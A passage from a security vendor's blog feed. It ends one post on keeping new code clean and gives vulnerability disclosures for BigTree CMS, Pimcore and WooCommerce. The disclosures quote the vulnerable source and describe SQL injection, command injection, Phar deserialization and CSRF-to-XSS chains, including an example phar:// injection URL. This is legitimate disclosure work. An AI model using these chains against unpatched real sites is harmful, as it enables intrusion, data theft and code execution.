- 0% Code Coverage. The usual emotional response to this is fear, sadness... even despair. And then the questions come: Where do I start? How do I pick? Which should I fix first: Bugs, Vulnerabilities, test coverage…? Or should I start with all the blockers and work my way down?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;People jump to problem solving so quickly that it can be difficult to get across that none of that is really necessary. &lt;/p&gt;&lt;h3&gt;Leave the past behind&lt;/h3&gt;&lt;p&gt;&amp;quot;First rule of programming. If it works don&amp;#x27;t touch anything.&amp;quot; &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you haven&amp;#x27;t worn that t-shirt, you&amp;#x27;ve probably at least laughed at it. And it&amp;#x27;s funny because to some degree it&amp;#x27;s true. Digging into old code for no other reason than fixing &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; brings the risk of functional regression. Plus, the reality is that very few developers have the leverage to get the resources (time, budget, re-testing from the business...) to address problems in &amp;quot;working&amp;quot; code. So let&amp;#x27;s set old code aside for a minute (I&amp;#x27;ll come back to it) and focus on New Code. As a developer, you &lt;em&gt;own&lt;/em&gt; new code. Every keystroke is yours, and you can make sure it meets your own high standards. As a developer you own New Code and more specifically you own quality in New Code.&lt;/p&gt;&lt;h3&gt;Personal responsibility, not heroics&lt;/h3&gt;&lt;p&gt;That means that instead of hunting down problems in code that hasn&amp;#x27;t been touched in years, you should concentrate on making sure the code you touch in the normal course of business - handling feature requests and fixes of user-reported bugs - is clean. Old issues &lt;em&gt;in code you&amp;#x27;re touching anyway&lt;/em&gt; get fixed, no new issues get added, duplications get cleaned up, and tests get written if they didn&amp;#x27;t already exist. That&amp;#x27;s it. All you have to do is what you want to do anyway: make sure the code you write today is good.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And focusing on the code the business folks want you to touch, versus dredging up random old problems, lets you focus on getting things done. That means you&amp;#x27;re more productive as an individual, and your team is too.&lt;/p&gt;&lt;h3&gt;Consistent standards across languages, projects... the entire organization&lt;/h3&gt;&lt;p&gt;&amp;quot;But I work on a &lt;em&gt;legacy&lt;/em&gt; project in [really old language]!&amp;quot; you say? That&amp;#x27;s cool. The tools are the same regardless of language. So just maintain the same standards your colleagues working in [hot new language] are held to: do a good job on the New Code &lt;em&gt;you&amp;#x27;re&lt;/em&gt; working on &lt;em&gt;today&lt;/em&gt;. It doesn&amp;#x27;t matter how old or crufty your project is. Everyone can keep their new code clean, regardless of language, project age, or existing technical debt. &lt;/p&gt;&lt;h3&gt;Tools to get the job done&lt;/h3&gt;&lt;p&gt;I know you&amp;#x27;re saying &amp;quot;Sure, but how do I do that?&amp;quot; Fortunately, SonarQube gives you multiple tools. First is automatic issue assignment; no one is responsible for someone else&amp;#x27;s code. If you &lt;em&gt;do&lt;/em&gt; add new issues, they&amp;#x27;ll be automatically assigned &lt;em&gt;to you&lt;/em&gt;, and the same for your colleagues, so no one is asked to clean up after someone else. Of course, that applies to any old issues SonarQube finds just as much as it does to new ones, so if you look at the &amp;quot;My Issues&amp;quot; filter on the Issues page you&amp;#x27;ll see both old and new issues by default. That&amp;#x27;s why there are plenty of other tools in the box.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The most important tool is a New Code Period-focused Quality Gate. The built-in Quality gate uses only conditions &amp;quot;on New Code&amp;quot;. That means the built-in Releasibility indicator only looks at the quality of your recent changes. There&amp;#x27;s also the project homepage, which emphasizes those New Code Period values. Then, if you click through on a New Code Period value or on a failing Quality Gate condition, what you land on will be automatically pre-filtered to show only problems in New Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And of course, there&amp;#x27;s PR analysis (in &lt;a href=&quot;https://www.sonarqube.org/developer-edition/&quot;&gt;commercial editions&lt;/a&gt;), and SonarLint in your IDE so you can make sure new issues never even get committed and/or merged in the first place.&lt;/p&gt;&lt;h3&gt;Technical debt remediation: side-effect of business-as-usual&lt;/h3&gt;&lt;p&gt;&amp;quot;But what about all those old Blocker Bugs?!&amp;quot; I hear you asking. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Earlier I said that developers own New Code and more specifically quality in New Code. What I left out at that point is that managers own quality in old code. Remember, developers don&amp;#x27;t have the leverage to get the resources to deal with old code. Managers do. That makes sense because managers also own the business risk of having those old issues out in production and they own the business risk of proactively fixing code that no one&amp;#x27;s complaining about, potentially breaking something else in the process. So whether problems in old code need to be addressed is a business decision, and it&amp;#x27;s up to management to prioritize (or not) work on old code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But even if they don&amp;#x27;t… even without active cleanup, the code base will gradually be cleaned up anyway. It happens in the normal course of business, as you touch old code to make new changes. Areas of code that are modified frequently will be fixed quickly. That makes future maintenance of those high-traffic areas easier, cheaper, and far less painful (\o/). Less-trafficked areas of code will be cleaned up more slowly, but the fact that they&amp;#x27;re not impacted by user requests means they&amp;#x27;re less crucial and can afford to wait.&lt;/p&gt;&lt;h3&gt;Get cleaning!&lt;/h3&gt;&lt;p&gt;So that&amp;#x27;s it. Just keep your New Code clean to make sure that the code you release into production tomorrow is at least as good as - and probably better than! - the code that&amp;#x27;s in production today. SonarQube gives you all the tools you need to make that happen. All you have to do is &lt;a href=&quot;https://www.sonarqube.org/downloads/&quot;&gt;get started&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Backend SQL Injection in BigTree CMS 4.4.6]]></title><description><![CDATA[BigTree is a small content management system which does not depend on many frameworks and advertises itself as user friendly and developer ready. In this blog post, we will take a look at a few vulnerabilities we have detected in the codebase of BigTree.]]></description><link>https://www.sonarsource.com/blog/sql-injection-big-tree</link><guid isPermaLink="false">077cc83f-609b-50d9-aacf-249fb99a1d1e</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Tue, 05 Nov 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We have analyzed one of the latest versions of BigTree CMS 4.4.6 and detected multiple vulnerabilities. Among them is a SQL Injection vulnerability and a Phar Deserialization vulnerability leading to a Remote Code Execution in the small web application.&lt;/p&gt;&lt;h2&gt;Chaining SQL Injection and XSS&lt;/h2&gt;&lt;p&gt;BigTree CMS suffers from a plain SQL Injection which can be exploited in the dashboard. An unsanitized parameter allows overriding the &lt;code&gt;Table&lt;/code&gt; property, enabling the manipulation of the underlying SQL syntax to extract arbitrary sensitive information from the database. The web application then continues to print all the data retrieved through the SQL query and returns it to the authenticated administrator.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since BigTree does not make use of any CSRF tokens here, the vulnerability can be exploited through CSRF. A Second Order Cross-Site Scripting vulnerability can then be used to smuggle the data out to an external Server. In the following we will see the entry point to the vulnerability:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;core/admin/ajax/dashboard/check-module-integrity.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 6    $form = BigTreeAutoModule::getForm($_GET[&quot;form&quot;]);	
 7    // Create a generic module class to get the decoded item data
 8    $m = new BigTreeModule;
 9    $m-&gt;Table = $form[&quot;table&quot;];
10    $item = $m-&gt;get($_GET[&quot;id&quot;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On line 6 the user input is received through the &lt;code&gt;form&lt;/code&gt; parameter and stored in the &lt;code&gt;$formvariable&lt;/code&gt;. Its value is then assigned to the &lt;code&gt;$m-&amp;gt;Table&lt;/code&gt; property of the &lt;code&gt;BigTreeModule&lt;/code&gt; instance. Finally, the &lt;code&gt;get()&lt;/code&gt; method is invoked on the object which launches a SQL query on line 10. This method is embedding the user input of the &lt;code&gt;$item&lt;/code&gt; variable safely and embedding the tainted &lt;code&gt;Table&lt;/code&gt; property &lt;em&gt;unsafely&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;core/inc/bigtree/modules.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 7    class BigTreeModule {
 8    ⋮
 9        public function get($item) {
10        ⋮
11            $item = sqlfetch(sqlquery(&quot;SELECT * FROM `&quot;.$this-&gt;Table.&quot;` WHERE id = &apos;&quot;.
12                                        sqlescape($item).&quot;&apos;&quot;));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The data can then be smuggled out by exploiting a Cross-Site Scripting vulnerability. To achieve this, the attacker must control the values of the &lt;code&gt;$item&lt;/code&gt; array returned by the SQL query to start with the string &lt;em&gt;“http”&lt;/em&gt;. This causes the control flow to branch into the program block which processes links automatically, starting on line 19 of the following source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;core/admin/ajax/dashboard/check-module-integrity.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;13    &lt;?php
14    foreach ($form[&quot;fields&quot;] as $field =&gt; $resource) {
15        ⋮
16        if ($resource[&quot;type&quot;] == &quot;text&quot; &amp;&amp; is_string($item[$field])) {
17            $href = $item[$field];
18            ⋮
19            if (substr($href,0,4) == &quot;http&quot; &amp;&amp; strpos($href,WWW_ROOT) === false) {
20                ⋮
21                if (!$admin-&gt;urlExists($href))
22                    $integrity_errors[$field] = array(&quot;a&quot; =&gt; array($href));
23            }
24        }
25    }
26    ⋮
27    foreach ($integrity_errors as $field =&gt; $error_types) {
28        foreach ($error_types as $type =&gt; $errors) {
29            foreach ($errors as $error) { ?&gt;
30                &lt;p&gt;Broken &lt;?=(($type == &quot;img&quot;) ? &quot;Image&quot; : &quot;Link&quot;)?&gt;: &lt;?=$error?&gt;
31                in field &amp;ldquo;&lt;?=$form[&quot;fields&quot;][$field][&quot;title&quot;]?&gt;&amp;rdquo;&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For each potential link, the program will send a web request via the &lt;code&gt;urlExists()&lt;/code&gt; method. If the request fails, the data is added to the error array &lt;code&gt;$integrity_errors &lt;/code&gt;on line 22. The values of this array are printed unsanitized in a &lt;code&gt;foreach&lt;/code&gt; loop on line 30 leading to the output of our SQL Injection directly next to our Cross-Site Scripting payload extracting the data to an external server. Although it&amp;#x27;s usually tricky to exploit a SQL Injection via CSRF, we can in this case make use of the Cross-Site Scripting vulnerability to smuggle out the results easily with an AJAX request.&lt;/p&gt;&lt;h2&gt;Phar Deserialization via CURL wrapper&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://curl.haxx.se/docs/manpage.html#-d&quot;&gt;Curls CLI file feature&lt;/a&gt; allows uploading files from the file system by prepending the filename with an @ symbol. Adding the curl option &lt;code&gt;-d param=@/path/to/filename&lt;/code&gt; in the curl CLI would comfortably upload the contents of the specified filename to the target server. BigTree developed its own curl wrapper function &lt;code&gt;BigTree::cURL()&lt;/code&gt; to implement this feature.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;core/inc/bigtree/utils.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;263    public static function cURL($url, $post = false, $options = [], 
264        $strict_security = true, $output_file = false, $updating_bundle = false) {
265        ⋮
266        if ($post !== false) {
267            if (function_exists(&quot;curl_file_create&quot;) &amp;&amp; is_array($post)) {
268                foreach ($post as &amp;$post_field) {
269                    if (substr($post_field, 0, 1) == &quot;@&quot; 
270                    &amp;&amp; file_exists(substr($post_field, 1))) {
271                        $post_field = curl_file_create(substr($post_field, 1));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The method receives data to be send in the HTTP body as the second argument &lt;code&gt;$post&lt;/code&gt; of the static method. On line 268 it iterates over the array and checks the values for an &lt;code&gt;@&lt;/code&gt; character which is potentially suffixed with a filename. This filename is used as an argument to &lt;code&gt;file_exists()&lt;/code&gt; on line 270 before adding the contents of the file to the curl request, leading to a Phar Deserialization vulnerability if we have control over a value of the &lt;code&gt;$post&lt;/code&gt; array. This assumption is true for the URL &lt;code&gt;http://&amp;lt;host&amp;gt;/bigtree446/site/index.php/admin/developer/services/instagram/return/?code=@phar://myphar.phar&lt;/code&gt; which routes an authenticated backend user directly to the following entry point:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;core/admin/modules/developer/services/common/return.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$token = $api-&gt;oAuthSetToken($_GET[&quot;code&quot;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The user input stored in the &lt;code&gt;code&lt;/code&gt; parameter is passed as the &lt;code&gt;$code&lt;/code&gt; argument to the &lt;code&gt;oAuthSetToken(&lt;/code&gt;) method. This forwards the value directly into the &lt;code&gt;BigTree::cURL()&lt;/code&gt; wrapper from above, leading to the Phar Deserialization vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;core/inc/bigtree/apis/_oauth.base.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;337    public function oAuthSetToken($code) { 
338        $response = json_decode(BigTree::cURL($this-&gt;TokenURL,array( 
339            &quot;code&quot; =&gt; $code, 
340            ⋮ 
341        ))); &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To exploit this vulnerability, a file must be uploaded. This can only be achieved by correctly posting a CSRF token. However, this CSRF token can be stolen by exploiting the Cross-Site Scripting vulnerability from above and stealing the token. This will enable a file upload that can be used in the Phar Deserialization process.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Event&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10/15/19&lt;/td&gt;&lt;td&gt;Vulnerability details send for BigTree 4.4.6&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10/15/19&lt;/td&gt;&lt;td&gt;Vendor acknowledged and confirmed issue&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10/15/19&lt;/td&gt;&lt;td&gt;Vendor released BigTree 4.4.7 patching the issue&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we have seen that sanitizing every parameter by hand is a tedious and dangerous method to secure your application. Sophisticated attackers can chain multiple exploits to launch a successful targeted attack with high impact. It is recommended to invest time to develop &lt;em&gt;and make use of&lt;/em&gt; centralized security module which will bundle sanitization and database preparation. Automated security testing can assist in the process of detecting vulnerable leftovers of legacy code when retroactively implementing security features. The RIPS scanner detected the issues within 7 minutes of scan time. Especially the beginning of a file path should not be in control of an attacker to deny exploitation via arbitrary PHP filters like the &lt;code&gt;phar://&lt;/code&gt; wrapper.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sql-injection-big-tree/&quot;&gt;Exploiting Hibernate Injections&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sql-injection-big-tree/&quot;&gt;Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sql-injection-big-tree/&quot;&gt;dotCMS 5.1.5: Exploiting H2 SQL injection to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sql-injection-big-tree/&quot;&gt;Joomla! 3.8.3: Privilege Escalation via SQL Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sql-injection-big-tree/&quot;&gt;CubeCart 6.1.12 - Admin Authentication Bypass&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sql-injection-big-tree/&quot;&gt;Pre-Auth Takeover of OXID eShops&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sql-injection-big-tree/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Drive By RCE Exploit in Pimcore 6.2.0]]></title><description><![CDATA[In this technical blog post we will examine how a drive by exploit in the Pimcore release 6.2.0 allows an attacker to execute OS commands.]]></description><link>https://www.sonarsource.com/blog/driveby-rce-exploit-pimcore</link><guid isPermaLink="false">4c565a52-1907-5865-b6c9-c5d0e1dacc0f</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Mon, 21 Oct 2019 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We analyzed Pimcore 6.2.0 and identified multiple critical vulnerabilities including a command injection vulnerability and SQL injection vulnerability which both can be exploited into a full remote code execution. Both vulnerabilities were fixed in Pimcore 6.2.1.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;From Exif Data To Code Execution&lt;/h2&gt;&lt;p&gt;&lt;em&gt;Exiftool&lt;/em&gt; is a linux program which allows manipulation of image meta data called &lt;em&gt;exif data&lt;/em&gt;. Whenever an image is processed by PimCore a shell command is executed to run the exiftool script with the image filename as a parameter. For this purpose a JSON object is passed through a GET-variable which can be controlled by an attacker to inject straight into a shell command.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;vendor/pimcore/pimcore/bundles/AdminBundle/Controller/Admin/AssetController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1060    public function downloadImageThumbnailAction(Request $request)
1061    {
1062        /*...*/
1063        $config = $this-&gt;decodeJson($request-&gt;get(&apos;config&apos;));
1064        /*...*/
1065        $thumbnailConfig-&gt;setFormat($config[&apos;format&apos;]);
1066        /*...*/
1067        $exiftool = \Pimcore\Tool\Console::getExecutable(&apos;exiftool&apos;);
1068        if ($thumbnailConfig-&gt;getFormat() == &apos;JPEG&apos; &amp;&amp; $exiftool 
1069        &amp;&amp; isset($config[&apos;dpi&apos;]) &amp;&amp; $config[&apos;dpi&apos;]) {
1070            \Pimcore\Tool\Console::exec($exiftool . 
1071            &apos; -overwrite_original -xresolution=&apos; . $config[&apos;dpi&apos;] . 
1072            &apos; -yresolution=&apos; . $config[&apos;dpi&apos;] . &apos; -resolutionunit=inches &apos; . 
1073            escapeshellarg($thumbnailFile));
1074    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In line 1063 of the &lt;code&gt;downloadImageThumbnailAction()&lt;/code&gt; method the &lt;code&gt;$config&lt;/code&gt; parameter, storing a JSON object, is received from the HTTP request, decoded and stored into the &lt;code&gt;$config&lt;/code&gt; variable. After validating that the image is a JPEG and the &lt;em&gt;exiftool&lt;/em&gt; script is installed on line 1068, the &lt;code&gt;$config[&amp;#x27;dpi&amp;#x27;]&lt;/code&gt; variable is embedded unsanitized into the OS command and executed on line 1070. Although the &lt;code&gt;$thumbnailFile&lt;/code&gt; variable is correctly sanitized by passing it through &lt;a href=&quot;https://www.php.net/manual/de/function.escapeshellarg.php&quot;&gt;&lt;code&gt;escapeshellarg()&lt;/code&gt;&lt;/a&gt;, the developers of PimCore have not applied this function to the &lt;em&gt;dpi&lt;/em&gt; key of the &lt;code&gt;$config&lt;/code&gt; parameter.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Preparing an Array: SQL’s IN Keyword&lt;/h2&gt;&lt;p&gt;Although Pimcore is making use of prepared statements all over the application, we could confirm multiple SQL injections detected by our RIPS scanner requiring the role of a back end user having access to the &lt;code&gt;objects&lt;/code&gt; section. One of those flaws comes from the abstract database layer which fails to provide a direct method to safely embed an array into a SQL query. Often developers feel the urge to let a user provide a list or an array of ids which shall be deleted, updated, or selected. To solve this problem they make use of SQL’s &lt;a href=&quot;https://www.w3schools.com/sql/sql_in.asp&quot;&gt;&lt;code&gt;IN&lt;/code&gt;&lt;/a&gt; keyword. We will now see an example on how this can go wrong:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;vendor/pimcore/pimcore/bundles/AdminBundle/Controller/Admin/DataObject/ClassificationstoreController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;921    public function addCollectionsAction(Request $request)
922    {
923        $this-&gt;checkPermission(&apos;objects&apos;);
924        $ids = $this-&gt;decodeJson($request-&gt;get(&apos;collectionIds&apos;));
925        /*...*/
926        if ($ids) {
927            $db = \Pimcore\Db::get();
928            $query = &apos;select * from classificationstore_groups g, 
929                classificationstore_collectionrelations c where colId IN (&apos; 
930                . implode(&apos;,&apos;, $ids)
931                . &apos;) and g.id = c.groupId&apos;;
932            /*...*/
933            $groupsData = $db-&gt;fetchAll($query);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;addCollectionsAction()&lt;/code&gt; method can be called through routing directly. User input is received through the &lt;code&gt;collectionIds&lt;/code&gt; parameter on line 924. The array of ids is then sent to &lt;a href=&quot;https://www.php.net/manual/de/function.implode.php&quot;&gt;&lt;code&gt;implode()&lt;/code&gt;&lt;/a&gt;, transforming the array into a comma separated string of its values. The builtin function &lt;a href=&quot;https://www.php.net/manual/de/function.implode.php&quot;&gt;&lt;code&gt;implode()&lt;/code&gt;&lt;/a&gt; does neither sanitize nor validate and therefore the resulting string should not be embedded directly into the SQL query, which is done on line 930 leading to a SQL injection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In contrast, modern database abstraction layers build a wrapper around PDO’s &lt;a href=&quot;https://www.php.net/manual/de/pdo.prepare.php&quot;&gt;&lt;code&gt;prepare()&lt;/code&gt;&lt;/a&gt; method. They will prepare a SQL query containing as many &lt;code&gt;?&lt;/code&gt; placeholders as there are values in the array, and pass the potentially malicious array of the user as an argument to the &lt;a href=&quot;https://www.php.net/manual/de/pdostatement.execute.php&quot;&gt;&lt;code&gt;execute()&lt;/code&gt;&lt;/a&gt; method of &lt;code&gt;PDOStatement&lt;/code&gt; instance.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Forging a Drive By Exploit&lt;/h2&gt;&lt;p&gt;A missing CSRF token enables an attacker to exploit the vulnerabilities via CSRF which results in a drive by exploit where an administrator is lured onto a malicious page embedding a form which is auto submitted to send a request to the web page, including the cookies of the administrator, allowing the exploitation of the remote code execution. To exploit the SQL injection, a more sophisticated attack allows extraction of data via side channels.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Event&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;09/09/2019&lt;/td&gt;&lt;td&gt;First contact with and vulnerability report to vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;09/09/2019 + a few hours&lt;/td&gt;&lt;td&gt;Acknowledgment, confirmation and commit to correct patch&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;09/18/2019&lt;/td&gt;&lt;td&gt;Release of PimCore 6.2.1&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;The intrinsic vulnerabilities described in this blog post sketch the imbalance between attackers on the one hand - requiring only a single point of failure - and the defenders on the other hand who miss a single flaw in the system leading to a full compromise. The threat of CSRF vulnerabilities is often underestimated, however, in targeted attacks launched by determined adversaries they pose an attractive step stone for network intrusion and social engineering. In this specific case we would like to thank the Pimcore developers and gladly appreciate their security awareness due to their instant response and fix for the the issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WooCommerce 3.6.4 - CSRF Bypass to Stored XSS]]></title><description><![CDATA[WooCommerce is the most popular e-commerce plugin for WordPress with over 5 million installations. We detected a code vulnerability in the way WooCommerce handles imports of products.]]></description><link>https://www.sonarsource.com/blog/woocommerce-csrf-to-stored-xss</link><guid isPermaLink="false">bb70f371-32e0-5133-9afc-e4c1c72c138f</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Tue, 08 Oct 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WooCommerce is the most popular e-commerce plugin for WordPress with over 5 million installations. A flaw in the way WooCommerce handles imports of products results in a stored cross-site scripting vulnerability (XSS) that can be exploited through cross-site request forgery (CSRF).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In WooCommerce shop managers and administrators have the ability to import (insert/update) products via a &lt;code&gt;.csv&lt;/code&gt; file. Every product in WooCommerce has a product description where the shop manager can insert limited HTML, i.e. very basic HTML tags and attributes, such as the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag in combination with the &lt;code&gt;href&lt;/code&gt; attribute. It is important to mention that the administrator is able to use unfiltered HTML in the WordPress default installation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can use CSRF to import (insert/update) any product via a &lt;code&gt;.csv&lt;/code&gt; file. The attacker needs to upload a &lt;code&gt;.csv&lt;/code&gt; file which is possible with a user of the role &lt;em&gt;author&lt;/em&gt; or higher. If the attacker tricks an administrator of a targeted blog into visiting a malicious website set up by the attacker he can import products with unsanitized HTML in the product description via CSRF. Finally, this leads to a stored XSS in every product of the vulnerable shop.&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/6BgKhxmxe5w&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The importer functionality consists of 4 steps which are processed in the given order:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Upload a CSV file (upload)&lt;/li&gt;&lt;li&gt;Column mapping (mapping)&lt;/li&gt;&lt;li&gt;Import (import)&lt;/li&gt;&lt;li&gt;Done! (done)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The words in the parentheses are used as function name in the WooCommerce product importer.&lt;/p&gt;&lt;h3&gt;Bypassing the Nonce&lt;/h3&gt;&lt;p&gt;The importer of WooCommerce uses the PHP function &lt;code&gt;call_user_func()&lt;/code&gt; to call the different steps of the importing process. The first step of the importer (upload) is protected by a nonce (anti-CSRF token), however, the other steps are not protected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following code snippet shows the invokation of &lt;code&gt;call_user_func()&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/includes/admin/importers/class-wc-product-csv-importer-controller.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;216    public function dispatch() {
217        ⋮
218        call_user_func( $this-&gt;steps[ $this-&gt;step ][&apos;view&apos;], $this );
219        ⋮
220    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The array &lt;code&gt;$this-&amp;gt;steps&lt;/code&gt; is a whitelist and consists of the different importer steps described above. The attacker controlled variable is &lt;code&gt;$this-&amp;gt;step&lt;/code&gt;, this means we can only call functions listed in the &lt;code&gt;view&lt;/code&gt; field from an &lt;code&gt;WC_Product_CSV_Importer_Controller&lt;/code&gt; (&lt;code&gt;$this&lt;/code&gt;) object. However, we can skip the upload step of the importer and go directly to the import() function from the import step.&lt;/p&gt;&lt;h3&gt;CSRF with Self-Created Nonce&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;import()&lt;/code&gt; function localizes and enqueues the &lt;code&gt;wc-product-import&lt;/code&gt; JavaScript with attacker controlled inputs and a valid nonce which leads to CSRF.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/includes/admin/importers/class-wc-product-csv-importer-controller.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;401    public function import(){
402        ⋮
403        wp_localize_script(
404            &apos;wc-product-import&apos;,
405            &apos;wc_product_import_params&apos;,
406            array(
407                &apos;import_nonce&apos;    =&gt; wp_create_nonce( &apos;wc-product-import&apos; ),
408                &apos;mapping&apos;         =&gt; array(
409                    &apos;from&apos; =&gt; $mapping_from,
410                    &apos;to&apos;   =&gt; $mapping_to,
411                ),
412                &apos;file&apos;            =&gt; $this-&gt;file,
413                &apos;update_existing&apos; =&gt; $this-&gt;update_existing,
414                &apos;delimiter&apos;       =&gt; $this-&gt;delimiter,
415            )
416        );
417        wp_enqueue_script( &apos;wc-product-import&apos; );
418        ⋮
